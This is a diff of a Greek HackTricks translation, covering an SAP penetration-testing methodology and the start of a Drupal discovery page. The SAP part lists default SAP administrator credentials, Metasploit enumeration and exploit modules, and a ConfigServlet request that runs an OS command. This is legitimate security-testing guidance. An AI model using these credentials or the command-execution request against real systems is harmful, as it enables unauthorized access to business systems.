* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,39 +1,43 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
# Εισαγωγή για το SAP
{% embed url="https://websec.nl/" %}
Το SAP σημαίνει Συστήματα Εφαρμογών και Προϊόντων στην Επεξεργασία Δεδομένων. Το SAP, κατά τον ορισμό, είναι επίσης το όνομα του λογισμικού ERP \(Enterprise Resource Planning\) καθώς και το όνομα της εταιρείας.
# Εισαγωγή σχετικά με το SAP
Το SAP σημαίνει Συστήματα Εφαρμογών και Προϊόντα στην Επεξεργασία Δεδομένων. Το SAP, κατά τον ορισμό, είναι επίσης το όνομα του λογισμικού ERP \(Σύστημα Εφοδιαστικής Αλυσίδας\) καθώς και το όνομα της εταιρείας.
Το σύστημα SAP αποτελείται από έναν αριθμό πλήρως ενσωματωμένων ενοτήτων, οι οποίες καλύπτουν σχεδόν κάθε πτυχή της διαχείρισης επιχειρήσεων.
Κάθε παράδειγμα SAP \(ή SID\) αποτελείται από τρεις επίπεδα: βάση δεδομένων, εφαρμογή και παρουσίαση\), κάθε τοπίο αποτελείται συνήθως από τέσσερα παραδείγματα: dev, test, QA και παραγωγή.
Κάθε ένα από τα επίπεδα μπορεί να εκμεταλλευτείται κατά κάποιον τρόπο, αλλά η μεγαλύτερη επίδραση μπορεί να επιτευχθεί με τη **επίθεση στη βάση δεδομένων**.
Κάθε παράδειγμα SAP \(ή SID\) αποτελείται από τρεις επίπεδα: βάση δεδομένων, εφαρμογή και παρουσίαση\), κάθε τοπίο αποτελείται συνήθως από τέσσερα παραδείγματα: ανάπτυξη, δοκιμή, QA και παραγωγή.
Κάθε ένα από τα επίπεδα μπορεί να εκμεταλλευτεί κατά κάποιο τρόπο, αλλά η μεγαλύτερη επίδραση μπορεί να επιτευχθεί με το **επίθεση στη βάση δεδομένων**.
Κάθε παράδειγμα SAP είναι χωρισμένο σε πελάτες. Καθένας έχει έναν χρήστη SAP\*, το αντίστοιχο της εφαρμογής του "root".
Κατά την αρχική δημιουργία, αυτός ο χρήστης SAP\* λαμβάνει έναν προεπιλεγμένο κωδικό πρόσβασης: "060719992" \(περισσότεροι προεπιλεγμένοι κωδικοί πρόσβασης παρακάτω\).
Θα εκπλαγείτε αν ήξερες πόσο συχνά αυτοί οι **κωδικοί πρόσβασης δεν αλλάζονται σε περιβάλλοντα δοκιμής ή ανάπτυξης**!
Κατά την αρχική δημιουργία, αυτός ο χρήστης SAP\* λαμβάνει ένα προεπιλεγμένο κωδικό πρόσβασης: "060719992" \(περισσότεροι προεπιλεγμένοι κωδικοί παρακάτω\).
Θα ήσασταν έκπληκτοι αν ξέρατε πόσο συχνά αυτοί οι **κωδικοί δεν αλλάζονται σε περιβάλλοντα δοκιμής ή ανάπτυξης**!
Προσπαθήστε να αποκτήσετε πρόσβαση στο κέλυφος οποιουδήποτε διακομιστή χρησιμοποιώντας το όνομα χρήστη &lt;SID&gt;adm.
Η επίθεση με βίαιο ψάξιμο μπορεί να βοηθήσει, αλλά υπάρχει μηχανισμός κλειδώματος λογαριασμού.
Προσπαθήστε να αποκτήσετε πρόσβαση στο κέλυφος οποιοδήποτε διακομιστή χρησιμοποιώντας το όνομα χρήστη &lt;SID&gt;adm.
Η επίθεση με βίαιο τρόπο μπορεί να βοηθήσει, ωστόσο μπορεί να υπάρχει μηχανισμός κλειδώματος λογαριασμού.
# Ανακάλυψη
> Η επόμενη ενότητα είναι κυρίως από το [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) από τον χρήστη shipcod3!
> Η επόμενη ενότητα είναι κυρίως από [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) από τον χρήστη shipcod3!
* Ελέγξτε το Πεδίο Εφαρμογής ή το Πρόγραμμα Περιγραφής για τον έλεγχο. Σημειώστε τα ονόματα κεντρικού υπολογιστή ή τις περιπτώσεις συστήματος για τη σύνδεση με το SAP GUI.
* Χρησιμοποιήστε OSINT \(ανοιχτή πηγή πληροφοριών\), Shodan και Google Dorks για να ελέγξετε αρχεία, υποτομείς τομείς και ενδιαφέρουσες πληροφορίες εάν η εφαρμογή είναι προσβάσιμη στο διαδίκτυο ή δημόσια:
* Ελέγξτε το Πεδίο Εφαρμογής ή το Πρόγραμμα Περιγραφής για δοκιμή. Κρατήστε σημειώσεις για τα ονόματα υπολογιστών ή τα παραδείγματα συστημάτων για σύνδεση στο SAP GUI.
* Χρησιμοποιήστε OSINT \(ανοικτή πηγή πληροφοριών\), Shodan και Google Dorks για να ελέγξετε αρχεία, υποτομείς και ενδιαφέρουσες πληροφορίες αν η εφαρμογή είναι προσβάσιμη στο διαδίκτυο ή δημόσια:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -43,19 +47,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Εδώ είναι πώς φαίνεται το [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
* Εδώ είναι πως φαίνεται το [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
![Οθόνη σύνδεσης SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Χρησιμοποιήστε το nmap για να ελέγξετε τις ανοιχτές θύρες και τις γνωστές υπηρεσίες (sap routers, webdnypro, web services, web servers, κλπ.)
* Αναζητήστε τις διευθύνσεις URL αν υπάρχει εκτελούμενος διακομιστής ιστού.
* Εκτελέστε fuzzing στους καταλόγους (μπορείτε να χρησιμοποιήσετε το Burp Intruder) αν υπάρχουν εκτελούμενοι διακομιστές ιστού σε συγκεκριμένες θύρες. Εδώ υπάρχουν μερικά καλά wordlists που παρέχονται από το έργο SecLists για την εύρεση προεπιλεγμένων SAP ICM Paths και άλλων ενδιαφερουσών διευθύνσεων ή αρχείων:
* Χρησιμοποιήστε το nmap για να ελέγξετε αν υπάρχουν ανοιχτές θύρες και γνωστές υπηρεσίες \(sap routers, webdnypro, web services, web servers, κλπ.\)
* Κάντε crawl τα URLs αν υπάρχει κάποιος web server που λειτουργεί.
* Κάντε fuzz τους καταλόγους \(μπορείτε να χρησιμοποιήσετε το Burp Intruder\) αν υπάρχουν web servers σε συγκεκριμένες θύρες. Εδώ είναι μερικές καλές λίστες λέξεων που παρέχονται από το Έργο SecLists για την εύρεση προεπιλεγμένων SAP ICM Paths και άλλων ενδιαφερουσών καταλόγων ή αρχείων:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* Χρησιμοποιήστε το εργαλείο SAP SERVICE DISCOVERY του Metasploit για την απαρίθμηση των παραδειγμάτων/υπηρεσιών/συστατικών SAP:
* Χρησιμοποιήστε το ανακλητικό εργαλείο Metasploit SAP SERVICE DISCOVERY για την απαρίθμηση των παραδειγμάτων/υπηρεσιών/στοιχείων του SAP:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -72,12 +76,11 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Δοκιμή του παχύ πελάτη / SAP GUI
## Δοκιμή του Παχέος Πελάτη / SAP GUI
Εδώ είναι η εντολή για σύνδεση στο SAP GUI
`sapgui <όνομα διακομιστή sap> <αριθμός συστήματος>`
Εδώ είναι η εντολή για σύνδεση στο SAP GUI `sapgui <όνομα κεντρικού υπολογιστή SAP> <αριθμός συστήματος>`
* Ελέγξτε για προεπιλεγμένα διαπιστευτήρια \(Σύμφωνα με την Ταξινομία Ευπαθειών του Bugcrowd, αυτό θεωρείται ως P1 -&gt; Εσφαλμένη Διαμόρφωση Ασφάλειας Διακομιστή \| Χρήση Προεπιλεγμένων Διαπιστευτηρίων \| Παραγωγικός Διακομιστής\):
* Ελέγξτε τα προεπιλεγμένα διαπιστευτήρια (Στην Ταξινόμηση Ευπαθειών του Bugcrowd, αυτό θεωρείται ως P1 -> Εσφαλμένη Διαμόρφωση Ασφάλειας Διακομιστή | Χρήση Προεπιλεγμένων Διαπιστευτηρίων | Παραγωγικός Διακομιστής):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -128,34 +131,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Εκτελέστε το Wireshark και συνδεθείτε στον πελάτη (SAP GUI) χρησιμοποιώντας τα διαπιστευτήρια που έχετε λάβει, επειδή ορισμένοι πελάτες μεταδίδουν τα διαπιστευτήρια χωρίς SSL. Υπάρχουν δύο γνωστά πρόσθετα για το Wireshark που μπορούν να αναλύσουν τους κύριους κεφαλίδες που χρησιμοποιούνται από το πρωτόκολλο SAP DIAG: το πρόσθετο ανάλυσης SAP του SecureAuth Labs και το πρόσθετο SAP DIAG του Positive Research Center.
* Ελέγξτε για αναβαθμίσεις προνομίων όπως η χρήση ορισμένων SAP Transaction Codes (tcodes) για χρήστες με χαμηλά προνόμια:
* SU01 - Για δημιουργία και συντήρηση χρηστών
* SU01D - Για εμφάνιση χρηστών
* SU10 - Για μαζική συντήρηση
* SU02 - Για χειροκίνητη δημιουργία προφίλ
* SM19 - Ασφάλεια ελέγχου - ρύθμιση
* SE84 - Σύστημα πληροφοριών για τις εξουσιοδοτήσεις SAP R/3
* Εκτελέστε το Wireshark και στη συνέχεια πιστοποιηθείτε στον πελάτη (SAP GUI) χρησιμοποιώντας τα διαπιστευτήρια που αποκτήσατε επειδή μερικοί πελάτες μεταδίδουν τα διαπιστευτήριά τους χωρίς SSL. Υπάρχουν δύο γνωστά πρόσθετα για το Wireshark που μπορούν να αναλύσουν τους κύριους κεφαλίδες που χρησιμοποιεί το πρωτόκολλο SAP DIAG: το πρόσθετο ανάλυσης SAP του SecureAuth Labs και το πρόσθετο SAP DIAG του Positive Research Center.
* Ελέγξτε για ανεβάσματα προνομίων όπως η χρήση ορισμένων SAP Transaction Codes (tcodes) για χρήστες με χαμηλά προνόμια:
* SU01 - Για δημιουργία και συντήρηση χρηστών
* SU01D - Για εμφάνιση χρηστών
* SU10 - Για μαζική συντήρηση
* SU02 - Για χειροκίνητη δημιουργία προφίλ
* SM19 - Ασφάλεια ελέγχου - ρύθμιση
* SE84 - Σύστημα πληροφοριών για τις εξουσιοδοτήσεις SAP R/3
* Ελέγξτε αν μπορείτε να εκτελέσετε εντολές συστήματος / να εκτελέσετε σενάρια στον πελάτη.
* Ελέγξτε αν μπορείτε να κάνετε XSS στο BAPI Explorer
# Δοκιμή της διεπαφής ιστού
* Αναζητήστε τις διευθύνσεις URL (δείτε τη φάση ανακάλυψης).
* Εκτελέστε fuzzing στις διευθύνσεις URL όπως στη φάση ανακάλυψης. Εδώ είναι πώς φαίνεται το [http://SAP:50000/index.html](http://sap:50000/index.html):
* Κάντε fuzz τις διευθύνσεις URL όπως στη φάση ανακάλυψης. Δείτε πώς είναι το [http://SAP:50000/index.html](http://sap:50000/index.html):
![SAP Αρχική Σελίδα](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
![Σελίδα Ευρετηρίου SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Αναζητήστε κοινές ευπάθειες ιστού (ανατρέξτε στο OWASP Top 10) επειδή υπάρχουν ευπάθειες XSS, RCE, XXE κ.λπ. σε ορισμένα μέρη.
* Ελέγξτε τη μεθοδολογία του Jason Haddix για την ανίχνευση ευπαθειών ιστού στο [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm).
* Παράκαμψη πιστοποίησης μέσω verb Tampering; Ίσως :\)
* Ανοίξτε το `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` και κάντε κλικ στο κουμπί "Επιλογή" και στο ανοιχτό παράθυρο πατήστε "Αναζήτηση". Θα πρέπει να μπορείτε να δείτε μια λίστα χρηστών SAP (Αναφορά ευπάθειας: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Υποβάλλονται οι διαπιστευτήρια μέσω HTTP; Αν ναι, θεωρείται ως P3 βάσει της [Ταξινομίας Αξιολόγησης Ευπαθειών](https://bugcrowd.com/vulnerability-rating-taxonomy) της Bugcrowd: Ανεπάρκεια Πιστοποίησης και Διαχείρισης Συνεδρίας \| Αδύναμη Λειτουργία Σύνδεσης μέσω HTTP. Υπόδειξη: Ελέγξτε επίσης το [http://SAP:50000/startPage](http://sap:50000/startPage) ή τις πύλες σύνδεσης :\)
* Αναζητήστε κοινές ευπάθειες ιστού (Αναφερθείτε στο OWASP Top 10) επειδή υπάρχουν ευπάθειες όπως XSS, RCE, XXE, κ.λπ. σε ορισμένα σημεία.
* Ελέγξτε τη μεθοδολογία του Jason Haddix με τίτλο [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) για τη δοκιμή ευπαθειών ιστού.
* Παράκαμψη πιστοποίησης μέσω παραβίασης ρήματος; Ίσως :\)
* Ανοίξτε το `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` και κάντε κλικ στο κουμπί “Choose” και στη συνέχεια στο ανοιχτό παράθυρο πατήστε “Search”. Θα πρέπει να βλέπετε μια λίστα χρηστών SAP (Αναφορά Ευπαθειών: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Τα διαπιστευτήρια υποβάλλονται μέσω HTTP; Αν ναι, τότε θεωρείται ως P3 βάσει της Ταξινομίας Αξιολόγησης Ευπαθειών της Bugcrowd: Κατεστραμμένη Ταυτοποίηση και Διαχείριση Συνεδρίας | Αδύναμη Λειτουργία Σύνδεσης Μέσω HTTP. Υπόδειξη: Ελέγξτε το [http://SAP:50000/startPage](http://sap:50000/startPage) ή τις πύλες σύνδεσης :\)
![SAP Σελίδα Έναρξης](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
![Σελίδα Έναρξης SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Δοκιμάστε το `/irj/go/km/navigation/` για πιθανή καταχώρηση καταλόγου ή παράκαμψη πιστοποίησης
* Το [http://SAP/sap/public/info](http://sap/sap/public/info) περιέχει ορισμένες ενδιαφέρουσες πληροφορίες:
* Δοκιμάστε το `/irj/go/km/navigation/` για πιθανή κατάλογο λίστας ή παράκαμψη πιστοποίησης
* Το [http://SAP/sap/public/info](http://sap/sap/public/info) περιέχει μερικές ενδιαφέρουσες πληροφορίες:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -188,8 +191,8 @@ BWDEVELOPER:Down1oad:001
```
# Επίθεση!
* Ελέγξτε αν εκτελείται σε παλιούς διακομιστές ή τεχνολογίες όπως τα Windows 2000.
* Σχεδιάστε τις πιθανές εκμεταλλεύσεις / επιθέσεις, υπάρχουν πολλά αρθρώματα Metasploit για την ανακάλυψη SAP (βοηθητικά αρθρώματα) και εκμεταλλεύσεις:
* Ελέγξτε εάν λειτουργεί σε παλιούς διακομιστές ή τεχνολογίες όπως τα Windows 2000.
* Σχεδιάστε τις πιθανές εκμεταλλεύσεις / επιθέσεις, υπάρχουν πολλά ενότητες Metasploit για τον εντοπισμό SAP \(βοηθητικές ενότητες\) και εκμεταλλεύσεις:
```text
msf > search sap
Matching Modules
@ -254,13 +257,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Δοκιμάστε να χρησιμοποιήσετε γνωστές εκμεταλλεύσεις (ελέγξτε το Exploit-DB) ή επιθέσεις όπως η παλιά αλλά αξιόπιστη "SAP ConfigServlet Remote Code Execution" στο SAP Portal:
* Δοκιμάστε να χρησιμοποιήσετε μερικά γνωστά εκμεταλλεύσιμα σφάλματα (ελέγξτε το Exploit-DB) ή επιθέσεις όπως το παλιό αλλά αξιόλογο "SAP ConfigServlet Remote Code Execution" στο SAP Portal:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Πριν εκτελέσετε την εντολή `start` στο σενάριο bizploit στη φάση της ανακάλυψης, μπορείτε επίσης να προσθέσετε τα παρακάτω για να πραγματοποιήσετε αξιολόγηση ευπαθειών:
* Πριν εκτελέσετε την εντολή `start` στο σενάριο bizploit στη φάση της Ανακάλυψης, μπορείτε επίσης να προσθέσετε τα παρακάτω για την εκτέλεση αξιολόγησης ευπαθειών:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -285,35 +288,38 @@ bizploit> start
# Άλλα Χρήσιμα Εργαλεία για Τεστάρισμα
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Εργαλείο Powershell για αξιολόγηση της ασφάλειας του SAP
* [Burp Suite](https://portswigger.net/burp) - απαραίτητο για fuzzing καταλόγων και αξιολόγηση ασφάλειας ιστού
* [pysap](https://github.com/SecureAuthCorp/pysap) - Βιβλιοθήκη Python για δημιουργία πακέτων πρωτοκόλλου δικτύου SAP
* [Burp Suite](https://portswigger.net/burp) - απαραίτητο για directory fuzzing και αξιολογήσεις ασφαλείας ιστού
* [pysap](https://github.com/SecureAuthCorp/pysap) - Βιβλιοθήκη Python για τη δημιουργία πακέτων πρωτοκόλλου δικτύου SAP
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Βοηθά το nmap να ανιχνεύσει SAP/ERP
## Αναφορές
* [Δοκιμή Διείσδυσης SAP με τη χρήση του Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [Δοκιμή Διείσδυσης SAP Χρησιμοποιώντας το Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - ένα σενάριο για ημι-αυτοματοποίηση του Bizploit
* [Διαμόρφωση ασφάλειας SAP NetWeaver ABAP μέρος 3: Προεπιλεγμένοι κωδικοί πρόσβασης για πρόσβαση στην εφαρμογή](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Λίστα κωδικών συναλλαγών ABAP που σχετίζονται με την ασφάλεια SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Διάβρωση του SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Οι 10 πιο ενδιαφέρουσες ευπάθειες και επιθέσεις στο SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Λίστα κωδικών συναλλαγών ABAP που σχετίζονται με την ασφάλεια του SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Κατάρριψη SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Κορυφαίες 10 πιο ενδιαφέρουσες ευπάθειες και επιθέσεις SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Αξιολόγηση της ασφάλειας των οικοσυστημάτων SAP με το bizploit: Ανακάλυψη](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>

View file

@ -2,35 +2,40 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Ανακάλυψη
* Ελέγξτε το **meta**
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Κόμβος**: Το Drupal **ευρίσκει το περιεχόμενό του χρησιμοποιώντας κόμβους**. Ένας κόμβος μπορεί να **περιέχει οτιδήποτε**, όπως ένα άρθρο ιστολογίου, ψηφοφορία, άρθρο κ.λπ. Οι URI των σελίδων είναι συνήθως της μορφής `/node/<nodeid>`.
* **Κόμβος**: Το Drupal **ευρετηριάζει το περιεχόμενό του χρησιμοποιώντας κόμβους**. Ένας κόμβος μπορεί να **περιέχει οτιδήποτε** όπως μια ανάρτηση σε ιστολόγιο, δημοσκόπηση, άρθρο, κλπ. Οι URI των σελίδων είναι συνήθως της μορφής `/node/<nodeid>`.
```bash
curl drupal-site.com/node/1
```
